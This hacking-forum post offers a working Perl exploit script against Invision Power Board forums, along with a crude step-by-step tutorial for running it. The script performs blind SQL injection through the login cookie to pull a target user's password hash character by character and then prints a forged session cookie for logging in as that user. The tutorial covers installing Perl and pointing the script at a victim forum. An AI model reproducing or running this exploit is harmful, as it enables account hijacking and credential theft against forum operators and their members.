#hacking forum

#!/usr/bin/perl -w ################################################## ################ # This one actually works http://www.quantriweb.com/forum/images/smilies/smile.gif Just paste the outputted cookie into # your request header using livehttpheaders or something and you # will probably be logged in as that user. No need to decrypt it! # Exploit coded by “ReMuSOMeGa & Nova” and http://remusomega.com/ (http://remusomega.com/) ################################################## ################ use LWP::UserAgent; $ua = new LWP::UserAgent; $ua->agent(“Mosiac 1.0″ . $ua->agent); if (!$ARGV[0]) {$ARGV[0] = ”;} if (!$ARGV[3]) {$ARGV[3] = ”;} my $path = $ARGV[0] . ‘/index.php?act=Login&CODE=autologin’; my $user = $ARGV[1]; # userid to jack my $iver = $ARGV[2]; # version 1 or 2 my $cpre = $ARGV[3]; # cookie prefix my $dbug = $ARGV[4]; # debug? if (!$ARGV[2]) { print “..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org/ (http://forums.site.org/) [id] [ver 1/2].\n\n”; exit; } my @charset = (“0″,”1″,”2″,”3″,”4″,”5″,”6″,”7″,”8″,”9″,”a”,”b”,”c”,”d”,”e”,”f”); my $outputs = ”; for( $i=1; $i < 33; $i++ ) { for( $j=0; $j < 16; $j++ ) { my $current = $charset[$j]; my $sql = ( $iver < 2 ) ? “99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2 527$current%2527)/*” : “99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i ,1)%3d%2527$current%2527)/*”; my @cookie = (‘Cookie’ => $cpre . “member_id=31337420; ” . $cpre . “pass_hash=” . $sql); my $res = $ua->get($path, @cookie); # If we get a valid sql request then this # does not appear anywhere in the sources $pattern = ”; $_ = $res->content; if ($dbug) { print }; if ( !(/$pattern/) ) { $outputs .= $current; print “$current\n”; last; } } if ( length($outputs) < 1 ) { print “Not Exploitable!\n”; exit; } } print “Cookie: ” . $cpre . “member_id=” . $user . “;” . $cpre . “pass_hash=” . $outputs; exit

What the f*ck, Pretty confused, aren’t you? What the f*ck are you supposed to do with this shit?! I’ll tell you. First of all, this is a Perl script. Copy and paste that code into Notepad. How can you execute Perl scripts?

Well, you can upload them to your CGI-BIN, or you can take my route of preference, and install Perl on your PC. Your going to want to go and get ActivePerl. Open the file up, and let it install. Leave everything on default. In other words, just keep hitting “OK/NEXT”. So now you have Perl installed. Open up “My Computer”, and then click on “Local Disk (C:/)”. In there, you should see a folder named “Perl”. Open up that folder, and within “Perl”, you should see another folder named “bin”. Open up “bin”. Now that your in, drag and drop “ipb.pl” from your desktop, into “bin”. Alrighty. Now everything is fine, and you’re ready to Pawn some Forums. … What your going to want to do now, is open up your command prompt. If you don’t know how, please quit this site, and die…. Start – Run – CMD Alright, so now your in your command prompt. You want to change the directory in your command prompt to your Perl/bin directory. To do this, type the following into your command prompt, and hit enter:

cd C:\Perl\bin

Good job. Your very, very close to being finished. Now that you are in the Perl/bin directory, we need to access the ipb.pl file. How do we do this? Type the following command into your command prompt:

perl ipb.pl

So, this is what we need to do. Type the following command into your command prompt:

ipb.pl http://sitetogetscrewed.com/forum 21